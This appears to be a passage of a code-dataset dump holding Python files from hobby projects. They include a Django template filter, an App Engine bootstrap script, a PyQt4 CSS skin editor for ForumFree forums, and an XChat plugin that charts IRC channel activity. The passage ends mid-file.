code stringlengths 1 1.72M | language stringclasses 1 value |
|---|---|
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Created on 2009-11-18.
# $Id$
#
from django import template
from django.utils.safestring import mark_safe
register = template.Library()
@register.filter
def mark_escape(value):
return mark_safe(value)
# EOF
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Created on 2010-02-12.
# $Id$
#
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Created on 2010-02-12.
# $Id$
#
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2008 ZHENG Zhong <heavyzheng nospam at gmail D0T com>
# - http://heavyz.blogspot.com/
# - http://buggarden.blogspot.com/
#
# Created on 2008-04-28
# $Id: __init__.py 26 2009-08-04 22:06:00Z guolin.mobi $
#
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Created on 2010-02-05.
# $Id: main.py 41 2010-07-21 10:33:30Z guolin.mobi $
#
"""Bootstrap script for running a Django application on Google App Engine.
"""
#---------------------------------------------------------------------------------------------------
# Must set these environment variables before importing any part of Django.
#import os
#os.environ["DJANGO_SETTINGS_MODULE"] = "afcpweb.settings"
# Select Django version.
#import google.appengine.dist
#google.appengine.dist.use_library("django", "1.2")
# Force Django to reload its settings.
#import django.conf
#django.conf.settings._target = None
# Django imports.
import django.core.handlers.wsgi
import django.core.signals
import django.db
import django.dispatch.dispatcher
#---------------------------------------------------------------------------------------------------
import logging
# Log exceptions.
def log_exception(*args, **kwds):
logging.exception("Exception in request:")
# Update Django signal listeners.
django.core.signals.got_request_exception.disconnect(django.db._rollback_on_exception)
django.core.signals.got_request_exception.connect(log_exception)
#---------------------------------------------------------------------------------------------------
# Create a Django application for WSGI.
app = django.core.handlers.wsgi.WSGIHandler()
# Old method with Python 2.5 :
#def main():
# # Create a Django application for WSGI.
# app = django.core.handlers.wsgi.WSGIHandler()
# # Run the WSGI CGI handler with that application.
# google.appengine.ext.webapp.util.run_wsgi_app(app)
#
#if __name__ == "__main__":
# main()
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2008 ZHENG Zhong <heavyzheng nospam at gmail D0T com>
# - http://heavyz.blogspot.com/
# - http://buggarden.blogspot.com/
#
# Created on 2008-04-28
# $Id: __init__.py 26 2009-08-04 22:06:00Z guolin.mobi $
#
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Created on 2010-02-05.
# $Id: main.py 41 2010-07-21 10:33:30Z guolin.mobi $
#
"""Bootstrap script for running a Django application on Google App Engine.
"""
#---------------------------------------------------------------------------------------------------
# Must set these environment variables before importing any part of Django.
#import os
#os.environ["DJANGO_SETTINGS_MODULE"] = "afcpweb.settings"
# Select Django version.
#import google.appengine.dist
#google.appengine.dist.use_library("django", "1.2")
# Force Django to reload its settings.
#import django.conf
#django.conf.settings._target = None
# Django imports.
import django.core.handlers.wsgi
import django.core.signals
import django.db
import django.dispatch.dispatcher
#---------------------------------------------------------------------------------------------------
import logging
# Log exceptions.
def log_exception(*args, **kwds):
logging.exception("Exception in request:")
# Update Django signal listeners.
django.core.signals.got_request_exception.disconnect(django.db._rollback_on_exception)
django.core.signals.got_request_exception.connect(log_exception)
#---------------------------------------------------------------------------------------------------
# Create a Django application for WSGI.
app = django.core.handlers.wsgi.WSGIHandler()
# Old method with Python 2.5 :
#def main():
# # Create a Django application for WSGI.
# app = django.core.handlers.wsgi.WSGIHandler()
# # Run the WSGI CGI handler with that application.
# google.appengine.ext.webapp.util.run_wsgi_app(app)
#
#if __name__ == "__main__":
# main()
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2008 ZHENG Zhong <heavyzheng nospam at gmail D0T com>
# - http://heavyz.blogspot.com/
# - http://buggarden.blogspot.com/
#
# Created on 2008-04-28
# $Id: __init__.py 26 2009-08-04 22:06:00Z guolin.mobi $
#
| Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''Allows you to create and edit skin for ForumFree.net and ForumCommunity.net without knowing css'''
'''
Copyright (C) 2008-2009 Nicola Bizzoca <nicola.bizzoca@gmail.com> and Ltk_Sim <staff@universalsite.org>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
'''
try:
import psyco
psyco.full()
except ImportError:
pass
import sys
from PyQt4 import QtCore, QtGui
from lib.config import config
from lib.skineditor import SkinEditor
from lib.webpreview import WebPreview
from lib.parsehtml import ParseHTML
class FFSkin(QtGui.QMainWindow):
def __init__(self):
QtGui.QMainWindow.__init__(self)
self.setWindowTitle(self.tr('ForumFree Skinner'))
self.setWindowIcon(QtGui.QIcon('images/ffs.png'))
self.showMaximized()
self.createMenu()
self.config = config
self.ds = QtGui.QDesktopServices()
self.webPreview = WebPreview(self)
self.skinEditor = SkinEditor(self)
self.webPreview.createJSBridge(self.skinEditor)
self.setCentralWidget(self.webPreview)
self.addDockWidget(QtCore.Qt.RightDockWidgetArea, self.skinEditor)
self.__connectEvent()
def createMenu(self):
self.menuBar = QtGui.QMenuBar()
self.setMenuBar(self.menuBar)
self.fileMenu = QtGui.QMenu(self.tr('&File'), self)
self.editMenu = QtGui.QMenu(self.tr('&Modifica'), self)
self.shareMenu = QtGui.QMenu(self.tr('&Condividi'), self)
self.optionsMenu = QtGui.QMenu(self.tr('&Opzioni'), self)
self.helpMenu = QtGui.QMenu(self.tr('&Aiuto'), self)
self.menuBar.addMenu(self.fileMenu)
self.menuBar.addMenu(self.editMenu)
self.menuBar.addMenu(self.shareMenu)
self.menuBar.addMenu(self.optionsMenu)
self.menuBar.addMenu(self.helpMenu)
self.exitAction = self.fileMenu.addAction(self.tr("E&sci"))
self.connect(self.exitAction, QtCore.SIGNAL('triggered()'), QtCore.SLOT('close()'))
self.HelpBlogAction = self.helpMenu.addAction(self.tr("FFS Blog"))
self.connect(self.HelpBlogAction, QtCore.SIGNAL('triggered()'), self.goBlog)
self.editAct = self.editMenu.addAction(self.tr("Modifica forzata"))
self.editAct.setCheckable(True)
self.editAct.setChecked(True)
self.inspectAct = self.editMenu.addAction(self.tr('Ispettore CSS'))
self.inspectAct.setCheckable(True)
self.inspectAct.setChecked(True)
self.connect(self.inspectAct, QtCore.SIGNAL('toggled(bool)'), self.inspectActionChanged)
self.fileToolBar = self.addToolBar(self.tr("File"))
self.openAct = QtGui.QAction(QtGui.QIcon("images/open.png"), self.tr("&Apri"), self)
self.openAct.setShortcut(self.tr("Ctrl+O"))
self.openAct.setStatusTip(self.tr("Apri una skin"))
self.fileToolBar.addAction(self.openAct)
self.connect(self.openAct, QtCore.SIGNAL('triggered()'), self.openClicked)
self.importCSSAct = QtGui.QAction(QtGui.QIcon("images/import.png"), self.tr("&Importa il css di una skin"), self)
self.importCSSAct.setShortcut(self.tr("Ctrl+I"))
self.importCSSAct.setStatusTip(self.tr("Importa il CSS"))
self.fileToolBar.addAction(self.importCSSAct)
self.connect(self.importCSSAct, QtCore.SIGNAL('triggered()'), self.importCSSClicked)
self.fileToolBar.addSeparator()
self.undoAct = QtGui.QAction(QtGui.QIcon("images/edit_undo.png"), self.tr("Annulla l'ultima modifica"), self)
self.undoAct.setShortcut(self.tr("Ctrl+Z"))
self.undoAct.setStatusTip(self.tr("Annulla l'ultima modifica"))
self.fileToolBar.addAction(self.undoAct)
self.redoAct = QtGui.QAction(QtGui.QIcon("images/edit_redo.png"), self.tr("Riapplica l'ultima modifica"), self)
self.redoAct.setShortcut(self.tr("Ctrl+Y"))
self.redoAct.setStatusTip(self.tr("Riapplica l'ulima modifica"))
self.fileToolBar.addAction(self.redoAct)
self.activateUndoRedo = self.optionsMenu.addAction(self.tr("Abilita undo/redo"))
self.activateUndoRedo.setCheckable(True)
self.activateIHTML = self.optionsMenu.addAction(self.tr("Importa HTML"))
self.activateIHTML.setCheckable(True)
self.activateIHTML.setChecked(True)
def setUndoRedo(self, state):
state = not state
self.redoAct.setDisabled(state)
self.undoAct.setDisabled(state)
if not state:
self.skinEditor.skinUndoRedo.clear()
def openClicked(self):
skin = QtGui.QFileDialog.getOpenFileName(self, self.tr('Seleziona CSS'),
QtCore.QDir.homePath(), self.tr('CSS Files (*.css)'))
if skin:
self.skinEditor.newSkinFromFile(str(skin), 'default')
def inspectActionChanged(self, state):
self.webPreview.updateCSS(self.skinEditor.skinParser.cssText, self.skinEditor.skinParser.skinName,
self.skinEditor.skinParser.skinUrl)
def goBlog(self):
self.ds.openUrl(QtCore.QUrl('http://ffs-blog.blogfree.net'))
def importCSSClicked(self):
urlCSSImport, ok = QtGui.QInputDialog.getText(self, 'Carica il CSS di una skin esterna', 'Indirizzo del forum/blog:')
urlCSSImport = str(urlCSSImport)
if ok:
if "http://" not in urlCSSImport:
urlCSSImport = "http://%s" % urlCSSImport
self.parserThread = ParseHTML()
self.connect(self.parserThread, QtCore.SIGNAL('parserdCSS(PyQt_PyObject, PyQt_PyObject)'), self._importeddSkin)
self.connect(self.parserThread, QtCore.SIGNAL('parsersingFailed()'), self._failedImport)
self.parserThread.setUrl(urlCSSImport)
self.statusBar().showMessage('Importazione del CSS in corso...')
def _importeddSkin(self, skin, url):
if self.activateIHTML.isChecked():
self.skinEditor.newSkinFromText(skin, 'default', url)
else:
self.skinEditor.newSkinFromText(skin, 'default')
self.webPreview.forumName = None
self.webPreview.currentCss = None
self.statusBar().clearMessage()
self.statusBar().hide()
def _failedImport(self):
QtGui.QErrorMessage(self).showMessage(self.tr('Impossibile importare la skin desiderata'))
self.statusBar().clearMessage()
self.statusBar().hide()
def __connectEvent(self):
self.connect(self.undoAct, QtCore.SIGNAL('triggered()'), self.skinEditor.undo)
self.connect(self.redoAct, QtCore.SIGNAL('triggered()'), self.skinEditor.redo)
self.connect(self.activateUndoRedo, QtCore.SIGNAL('toggled(bool)'), self.setUndoRedo)
self.activateUndoRedo.setChecked(config['undoredo'])
def closeEvent(self, event):
closeAnswer = QtGui.QMessageBox.question(self, 'Quit',
"Sicuro di voler uscire?", QtGui.QMessageBox.Yes, QtGui.QMessageBox.No)
if closeAnswer == QtGui.QMessageBox.Yes:
event.accept()
else:
event.ignore()
if __name__ == "__main__":
app = QtGui.QApplication(sys.argv)
app.setOrganizationName('FFS Team')
app.setOrganizationDomain('ffs-blog.blogfree.net')
app.setApplicationName('ForumFree Skinner')
app.setApplicationVersion('0.3 Alpha')
window = FFSkin()
window.show()
sys.exit(app.exec_()) | Python |
from distutils.core import setup
import py2exe
import glob
setup (windows = [{"script": 'ffskinner.py'}],
options={"py2exe" : {"includes" : ["sip", "PyQt4.QtNetwork",
'pygments.*', 'pygments.lexers.*', 'pygments.formatters.*',
'pygments.filters.*', 'pygments.styles.*'],
"optimize": 2 } },
data_files = [
('skin',
glob.glob('skin/*.*' )),
('saved',
glob.glob('skin/*.*' )),
('images',
glob.glob('images/*.*')),
('skin_base',
glob.glob('skin_base/*.*')),
('tr',
glob.glob('ts/*.*')),
],
) | Python |
'''
Created on 17/set/2009
@author: nico
'''
__module_name__ = "ForumFree Utenza"
__module_version__ = "1.0"
__module_description__ = "Crea un grafico dell'utenza su ForumFree"
import xchat
import datetime
import cPickle
from odict import OrderedDict
from pygooglechart import Chart
from pygooglechart import SimpleLineChart
from pygooglechart import Axis
try:
userList = cPickle.load(open('ffstats.p'))
except:
userList = {}
def makeChartOfDayJoin(data):
max_user = 150
chart = SimpleLineChart(400, 325, y_range=[0, max_user])
dataChart = []
for ore in range(24):
ore = str(ore)
if len(ore) == 1:
ore = '0'+ore
try:
dataChart.append(userList[data]['stats']['joins'][ore])
except:
dataChart.append(0)
chart.add_data(dataChart)
chart.set_colours(['0000FF'])
left_axis = range(0, max_user + 1, 25)
left_axis[0] = ''
chart.set_axis_labels(Axis.LEFT, left_axis)
chart.set_axis_labels(Axis.BOTTOM, \
range(0, 24))
return chart.get_url()
def makeChartOfDay(data):
max_user = 150
chart = SimpleLineChart(400, 325, y_range=[0, max_user])
dataChart = []
for ore in range(24):
ore = str(ore)
if len(ore) == 1:
ore = '0'+ore
try:
dataChart.append(userList[data]['stats']['online'][ore])
except:
dataChart.append(0)
chart.add_data(dataChart)
chart.set_colours(['0000FF'])
left_axis = range(0, max_user + 1, 25)
left_axis[0] = ''
chart.set_axis_labels(Axis.LEFT, left_axis)
# chart.set_axis_labels(Axis.BOTTOM, \
# ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun'])
chart.set_axis_labels(Axis.BOTTOM, \
range(0, 24))
return chart.get_url()
def date():
now = datetime.datetime.now()
return now.strftime("%Y-%m-%d")
def orario():
now = datetime.datetime.now()
return now.strftime("%H:%M:%S")
def ora():
now = datetime.datetime.now()
return now.strftime("%H")
def makeNewDay():
if date() not in userList:
userList[date()] = {}
userList[date()]['stats'] = {}
userList[date()]['stats']['online'] = OrderedDict()
userList[date()]['stats']['joins'] = OrderedDict()
userList[date()]['users'] = {}
def getNick(mask):
nick = ''
for char in mask:
if char == '!':
return nick
nick += char
def onPart(data, word_eol, userdata):
mask, action, channel = data
nick = getNick(mask)
if channel == '#forumfree':
makeNewDay()
if ora() not in userList[date()]['stats']['online']:
getUserList()
else:
if userList[date()]['stats']['online'][ora()] != 0:
userList[date()]['stats']['online'][ora()] -= 1
return xchat.EAT_NONE
def onJoin(data, word_eol, userdata):
mask, action, channel = data
mask = mask[1:]
channel = channel[1:]
nick = getNick(mask)
if channel == '#forumfree':
makeNewDay()
if ora() not in userList[date()]['stats']['online']:
getUserList()
else:
userList[date()]['stats']['online'][ora()] += 1
if ora() not in userList[date()]['stats']['joins']:
userList[date()]['stats']['joins'][ora()] = 1
else:
userList[date()]['stats']['joins'][ora()] += 1
if nick not in userList[date()]['users']:
userList[date()]['users'][nick] = {}
if 'mask' in userList[date()]['users'][nick]:
userList[date()]['users'][nick]['mask'].append((mask, orario()))
else:
userList[date()]['users'][nick]['mask'] = [(mask, orario())]
if 'timejoins' in userList[date()]['users'][nick]:
userList[date()]['users'][nick]['timejoins'].append(orario())
else:
userList[date()]['users'][nick]['timejoins'] = [orario()]
return xchat.EAT_NONE
def getUserList():
makeNewDay()
for user in channelObj.get_list('users'):
userList[date()]['users'][user.nick] = {}
userList[date()]['users'][user.nick]['mask'] = [(user.host, orario())]
userList[date()]['stats']['online'][ora()] = len(channelObj.get_list('users'))
def onMsg(word, word_eol, userdata):
message = word_eol[3][1:].lower()
message = message.split()
mask = word[0][1:]
nick = getNick(mask)
if message[0] == '!statistiche':
if len(message) > 1:
data = message[1]
else:
data = date()
printStats(nick, data)
return xchat.EAT_NONE
def printStats(nick, data):
msgOut = []
msgOut.append("Statistiche del giono %s" % data)
msgOut.append("Grafico join: %s" % makeChartOfDayJoin(data))
for joinOra in userList[data]['stats']['joins']:
msgOut.append("Join alle ore %s: %s" %
(joinOra, str(userList[data]['stats']['joins'][joinOra])))
msgOut.append("Grafico utenti online: %s" % makeChartOfDay(data))
for onlineOra in userList[data]['stats']['online']:
msgOut.append("Online alle ore %s: %s" %
(onlineOra, str(userList[data]['stats']['online'][onlineOra])))
msgOut.append("Totale utenti unici: %s" % str(len(userList[data]['users'])))
for messageOut in msgOut:
channelObj.command('notice %s %s' % (nick, messageOut))
def saveState(data):
cPickle.dump(userList, open('ffstats.p','w'))
channelObj = xchat.find_context(channel='#forumfree')
getUserList()
xchat.hook_server('JOIN', onJoin)
xchat.hook_server('PART', onPart)
#xchat.hook_server('KICK', onPart)
xchat.hook_server('PRIVMSG', onMsg)
xchat.hook_unload(saveState) | Python |
#!/usr/bin/python
# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
from odict import OrderedDict
import cssutils
"""Una libreria per il parsing di CSS"""
class SelectorReference(OrderedDict):
def addReference(self, selector):
pass
class SelectorList(OrderedDict):
"""
Dizionario ordinato che mantiene l'elenco dei selettori con la loro istanza Selector
"""
def addSelector(self, selector):
"""
Aggiunge un nuovo selettore alla fine del dizionario con la sua istanza Selector
"""
selectorObject = Selector(selector)
self[selector] = selectorObject
return selectorObject
def addSelectorFromList(self, selectorList):
"""
Aggiunge i selettori da una lista alla fine del dizionario con la loro istanze Selector
Restituisce una lista con le istanza Selector create
"""
selectorObjList = []
for selector in selectorList:
if selector in self:
selectorObject = self[selector]
selectorObject.new = True
else:
selectorObject = Selector(selector)
self[selector] = selectorObject
selectorObjList.append(selectorObject)
return selectorObjList
def deleteSelector(self, selector):
'''
Elimina il selettore scelto, ritorna False in caso il selettore non sia presente
'''
try:
del self[selector]
except KeyError:
return False
def withoutPseudo(self):
return [selector for selector in self.keys() if ':' not in selector]
class Selector(object):
"""
Classe che permette di ottenere e settare le proprietà del selettore
"""
def __init__(self, selector):
self.selector = selector
self.new = False
"""
Dizionario che contiene tutte le proprietà del selettore, es:
self.property['font:'] = ['italic', 'bold', '30px', 'arial', 'sans-serif']
Le proprietà vengono memorizzate incluse di due punti e i valori
devono essere contenuti in una lista, anche se la proprietà non supporta
l'assegnamento di più valori, es:
self.property['font-size:'] = ['12px']
Ogni valore deve essere convertita a stringa
E' possibile accedere alla lista di tutte le proprietà tramite, es:
self.property.keys()
E' possibile iterare tutti i valori assegnati alla proprietà, es:
for value in self.property['font:']:
...
"""
self.property = {}
def background(self):
"""
Ritorna un dizionario (propertyDict) contenente i valori supportati dalla proprietà 'background:'.
I valori riportati sono:
color | image | repeat | attachment | position
es:
>>> propertyDict
{'color': 'red', 'image' : '../background.png', 'repeat' : 'no-repeat', 'attachment' : 'scroll', 'position' : 'top left'}
"""
propertyDict = {}
if 'background:' in self.property:
for value in self.property['background:']:
if value[:4] == 'http' or value[:3] == 'ftp':
propertyDict['image'] = value
elif value in ['repeat', 'repeat-x', 'repeat-y', 'no-repeat']:
propertyDict['repeat'] = value
elif value in ['scroll', 'fixed']:
propertyDict['attachment'] = value
elif QtGui.QColor(value).isValid():
propertyDict['color'] = value
else:
if 'position' in propertyDict:
propertyDict['position'] += ' %s' % value
else:
propertyDict['position'] = value
else:
for property in ['color', 'image', 'repeat', 'attachment', 'position']:
try:
propertyDict[property] = self.property['background-%s:' % property][0]
except:
continue
return propertyDict
def font(self):
"""
Ritorna un dizionario (propertyDict) contenente i valori supportati dalla proprietà 'font:'.
I valori riportati sono:
family | color | decoration | size | style | weight
es:
>>> propertyDict
{'family': '"Times New Roman",Georgia,Serif', 'color' : 'red', 'decoration' : 'none', 'size' : '12px', 'style: 'normal', 'weight' : 'bold'}
La proprietà 'font:' non contiene color e decoration
"""
propertyDict = {}
if 'font:' in self.property:
raise NotImplementedError
else:
try:
propertyDict['family'] = ''.join(self.property['font-family:'])
except:
pass
for property in ['size', 'style', 'weight']:
try:
propertyDict[property] = self.property['font-%s:' % property][0]
except KeyError:
continue
#Ottiene decoration e color
try:
propertyDict['decoration'] = self.property['text-decoration:'][0]
except:
pass
try:
propertyDict['color'] = self.property['color:'][0]
except:
pass
return propertyDict
def border(self):
proertyDict = {}
if 'border:' in self.property:
for value in self.property['border:']:
if 'px' in value:
proertyDict['width'] = value
elif QtGui.QColor(value).isValid():
proertyDict['color'] = value
else:
proertyDict['style'] = value
else:
pass
return proertyDict
def opacity(self):
"""
Ritorna il valore della proprietà opacity come stringa.
Se non presente ritorna None
"""
try:
opacity = self.property['opacity:'][0]
if opacity[0] == '.':
opacity = '0' + opacity
return opacity
except KeyError:
return None
def setBackground(self, property, value):
"""
Imposta un valore per il background.
I valori utilizzabili sono:
color | image | repeat | attachment | position
Se è utilizzata la proprietà 'background:' viene ottenuta la lista delle propitetà
dalla funzione background() e viene sovrascritta quella da modificare
"""
if 'background:' in self.property:
values = self.background()
if value:
values[property] = value
else:
try:
del values[property]
except KeyError:
pass
self.setPropertyValues('background:', *values.values())
else:
self.setPropertyValues('background-%s:' % property, value)
def setOpacity(self, value):
"""
Imposta un valore per la proprietà 'opacity:'.
Se il valore è 1 la proprietà 'opacity:' viene rimossa.
TODO: aggiungere il supporto per IE
"""
value = str(value)
if value == '1':
value = None
self.setPropertyValues('opacity:', value)
# self.edit('filter:', 'alpha(opacity=%s)' % ieValue)
def setBorder(self, property, value):
pass
def setFont(self, property, value):
"""
Imposta un valore per i font.
I valori utilizzabili sono:
family | color | decoration | size | style | weight
TODO: Aggiungere il supporto alla proprietà 'font:'
"""
if 'font:' in self.property:
raise NotImplementedError
else:
if property == 'color':
self.setPropertyValues('color:', value)
elif property == 'decoration':
self.setPropertyValues('text-decoration:', value)
else:
self.setPropertyValues('font-%s:' % property, value)
def appendPropertyValue(self, property, value, new = False):
"""
Aggiunge un valore alla lista.
Crea una nuova proprietà se non è presente in self.property.
"""
if property not in self.property or new:
self.property[property] = [value]
else:
if property in ['background:', 'font:', 'font-family:', 'border:', 'padding:',
'border-left:', 'border-right:', 'border-top:', 'border-button:']:
self.property[property].append(value)
else:
self.property[property] = [value]
def setPropertyValues(self, property, *values):
"""
Imposta i valori di una proprietà
Se il primo valore è nullo, la proprietà viene eliminata
TODO: notificare se la proprietà viene eliminata
"""
if values[0] and values[0] not in ['none', '#000000', 'scroll', '0% 0%']:
self.property[property] = values
else:
try:
del self.property[property]
except KeyError:
pass
class SkinParser(object):
"""
Effettua il parsing di un CSS.
E' consigliabile creare una nuova istanza di SkinParser per ogni skin che si desidera aprire.
E' possibile caricare il CSS sia tramite file che tramite stinga tramite i metodi:
self.loadFormFile e self.loadFromText
Quando viene caricato caricato il CSS viene analizzato da cssutils e viene viene
istanziata una nuova SelectorList (self.selectorList) contenente un dizionario ordinato
di tutti i selettori e delle rispettive istanze Selector
E' possibile serializzare ottenere serializzare il CSS tramite self.serialize()
TODO: Aggiungere il supporto ai commenti
TODO: Aggiungere la possibilità di scrivere i cambiamenti sul file css
"""
def __init__(self, skinName, skinUrl = None):
"""
self.selectorList contiene l'istanza di SelectoList, se None non è stato caricato nessun CSS.
self.cssFile contiene il file ed il suo path, è presente solo se viene caricato il CSS tramite file.
self.selector è una variabile di aiuto che contiene il nome del selettore sulla quale si sta lavorando.
self.selectorObj è una variabile di aiuto che contiene l'istanza Selector del selettore sulla quale si sta lavorando
self.property è una variabile di aiuto che contiene la proprietà sulla quale si sta lavorando.
"""
self.skinName = skinName
self.skinUrl = skinUrl
self.selectorList = None
self.cssFile = None
self.selector = []
self.selectorToAppend = False
self.selectorObj = self.property = None
def loadFromFile(self, skin):
"""
Carica il CSS da un file.
Il CSS viene aperto e serializzato da cssutils e ne viene effettuato il parsing da SkinParser
"""
self.cssFile = skin
skin = cssutils.parseFile(skin).cssText
self.__parse(skin)
def loadFromText(self, skin):
"""
Carica il CSS da una stringa.
Il CSS viene aperto e serializzato da cssutils e ne viene effettuato il parsing da SkinParser
"""
skin = cssutils.parseString(skin).cssText
self.__parse(skin)
def __parse(self, skin):
"""
Effettua il parsing del CSS
"""
self.selectorList = SelectorList()
skin = skin.splitlines()
for line in skin:
if line[0] == '/':
continue
for item in line.split():
if self.selectorObj:
self.parseProperty(item)
else:
self.parseSelectorName(item)
def isProperty(self, property):
"""
Ritorna True se l'elemento è una proprietà.
"""
return property[-1] == ':'
def parseProperty(self, item):
"""
Effettua il parsing di un elemento.
Se l'elemento è una proprietà viene assegnato a self.property.
Se l'elemento è un valore viene assegnata alla proprietà contenuta in self.property.
Le variabili self.selector, self.selectorObj e self.property vengono resettate a fine blocco del selettore.
"""
if self.isProperty(item):
self.property = item
else:
if item == '}':
self.selector = []
self.selectorToAppend = False
self.selectorObj = self.property = None
else:
for char in [';', 'url(', ')', '\'', '"']:
item = item.replace(char, '')
if not item:
return
for selectorObj in self.selectorObj:
selectorObj.appendPropertyValue(self.property, item, selectorObj.new)
selectorObj.new = False
def parseSelectorName(self, name):
"""
Effettua il parsing del nome di un blocco CSS.
Quando inizia il blocco, il parsing risulta finito
e viene aggiunto in self.selectorList
"""
if name == '{':
self.selectorObj = self.selectorList.addSelectorFromList(self.selector)
else:
if ',' in name:
name = name.replace(',', '')
if name:
if self.selectorToAppend:
self.selector[-1] += ' %s' % name
else:
self.selector.append(name)
self.selectorToAppend = False
else:
if self.selectorToAppend:
self.selector[-1] += ' %s' % name
self.selectorToAppend = True
else:
self.selector.append(name)
self.selectorToAppend = True
@property
def cssText(self):
"""
Serializza il CSS.
Se self.selectorList non è settato ritorna None
"""
cssText = None
if self.selectorList:
cssText = ''
for selector, selectorObj in self.selectorList.iteritems():
cssText += '%s \n{\n' % selector
for property in selectorObj.property.keys():
cssText += ' ' + str(property)
for value in selectorObj.property[property]:
if value[:4] == 'http' or value[:3] == 'ftp':
value = 'url("' + value + '")'
cssText += ' ' + value
cssText += ';\n'
cssText += '}\n\n'
return cssText | Python |
import os
from PyQt4 import QtCore, QtGui, QtWebKit
from lib.parsehtml import MakeWebPreview
class JSBridge(QtCore.QObject):
def __init__(self, skinEditor):
QtCore.QObject.__init__(self, skinEditor)
self.setObjectName('JSBridge')
self.inspect = True
self.skinEditor = skinEditor
def normalizeColor(self, color):
color = str(color)
if QtGui.QColor(color).isValid():
return color
else:
for char in ['rgba(', 'rgb(', ')']:
color = color.replace(char, '')
color = color.split(',')
if len(color) == 4:
qcolor = QtGui.QColor(int(color[0]), int(color[1]), int(color[2]), int(color[3]))
else:
qcolor = QtGui.QColor(int(color[0]), int(color[1]), int(color[2]))
if qcolor.isValid():
return qcolor.name()
def setInspect(self, inspect):
self.inspect = inspect
@QtCore.pyqtSignature('', result="bool")
def isInspect(self):
return self.inspect
@QtCore.pyqtSignature("QString, QString, QString, QString, QString, QString")
def getElement(self, element, prefix, bgcolor, bgimage, bgposition, bgattachment):
if self.inspect:
element = str(element)
prefix = str(prefix)
element = element.replace('ffs', '')
element = element.rstrip()
element = prefix + element.replace(' ', ' ' + prefix)
bgcolor = self.normalizeColor(bgcolor)
for char in ['url(', ')', '"', "'"]:
bgimage = bgimage.replace(char, '')
style = {'background':
{'color' : bgcolor, 'image' : bgimage,
'position' : bgposition, 'attachment' : bgattachment}
}
self.skinEditor.setCurrentEl(element, style)
class WebPreview(QtWebKit.QWebView):
def __init__(self, parent):
QtWebKit.QWebView.__init__(self, parent)
self.forumName = None
self.currentCss = None
self.page().setLinkDelegationPolicy(QtWebKit.QWebPage.DelegateAllLinks)
self.connect(self.page(), QtCore.SIGNAL("linkClicked(const QUrl&)"), self.checkLink)
def createJSBridge(self, skinEditor):
self.jsBridge = JSBridge(skinEditor)
self.jsBridge.setInspect(self.parent().inspectAct.isChecked())
self.connect(self.page().mainFrame(), QtCore.SIGNAL('javaScriptWindowObjectCleared()'), self.onObjectClear)
def onObjectClear(self):
self.page().mainFrame().addToJavaScriptWindowObject('JSBridge', self.jsBridge)
def checkLink(self, link):
for host in ['forumfree.net', 'blogfree.net', 'forumcommunity.net']:
if host in str(link.host()):
self.updateCSS(self.currentCss, url = str(link.toString()), link = True)
return
def updateCSS(self, css, skinName = None, url = None, link = False):
js = '''<!--
if (JSBridge.isInspect()) {
document.body.addEventListener("mouseover", this.onMouseover, true);
document.body.addEventListener("mouseout", this.onMouseout, true);
document.body.addEventListener("mousedown", this.getID, true);
}
function onMouseover(event) {
if (event.target.id != '' || event.target.className != '') {
event.target.style.border='2px solid red';
}
event.preventDefault();
event.stopPropagation();
}
function onMouseout(event) {
event.target.style.border='';
event.preventDefault();
event.stopPropagation();
}
function getID(event) {
if (event.target.id != '' || event.target.className != '') {
element = event.target
style = document.defaultView.getComputedStyle(element, "");
if (element.id) {
value = element.id;
prefix = '#';
} else {
value = element.className;
prefix = '.';
}
JSBridge.getElement(value, prefix,
style.backgroundColor, style.backgroundImage,
style.backgroundPosition, style.backgroundAttachment
);
}
event.preventDefault();
event.stopPropagation();
}
//--> '''
self.jsBridge.setInspect(self.parent().inspectAct.isChecked())
if url:
if self.forumName and not link:
skinFile = 'saved/%s.html' % self.forumName
if os.path.exists(skinFile):
with open(skinFile) as pageFile:
page = pageFile.read()
page = page.replace('CSSSKIN', css)
self._visualize(page)
else:
self.parent().statusBar().showMessage("Importo l'HTML...")
self.makePage = MakeWebPreview()
self.connect(self.makePage, QtCore.SIGNAL('page(PyQt_PyObject, PyQt_PyObject, PyQt_PyObject)'), self._saveAndVisualize)
self.makePage.setVariable(url, css, js)
else:
with open('skin_base/skin.html') as page:
page = page.read()
page = page.replace('CSSSKIN', css)
self._visualize(page)
self.currentCss = css
def _saveAndVisualize(self, page, forumName, css):
self.parent().statusBar().hide()
self.forumName = forumName
forumFile = 'saved/%s.html' % forumName
with open(forumFile, 'w') as forumFile:
forumFile.write(page)
page = page.replace('CSSSKIN', css)
self._visualize(page)
def _visualize(self, page):
scrollX = self.page().mainFrame().evaluateJavaScript('window.scrollX')
scrollY = self.page().mainFrame().evaluateJavaScript('window.scrollY')
try:
page = unicode(page)
except:
pass
self.setHtml(page)
self.page().mainFrame().evaluateJavaScript('window.scrollTo(%s, %s)' % (scrollX.toString(), scrollY.toString())) | Python |
from PyQt4 import QtCore, QtGui
class PushButton(QtGui.QPushButton):
def __init__(self, text, selector, parent):
QtGui.QPushButton.__init__(self, text, parent)
self.selector = selector
self.connect(self, QtCore.SIGNAL('clicked()'), self.clickedText)
def clickedText(self):
self.emit(QtCore.SIGNAL('clickedText(PyQt_PyObject)'), self.selector)
class SkinMap(QtGui.QDialog):
def __init__(self, parent):
QtGui.QDialog.__init__(self, parent)
self.parent = parent
self.setWindowTitle(self.tr('Seleziona elemento della skin'))
self.setWindowIcon(QtGui.QIcon('images/system_search.png'))
self.setFixedSize(self.parent.config['mapBackground']['home']['w'],
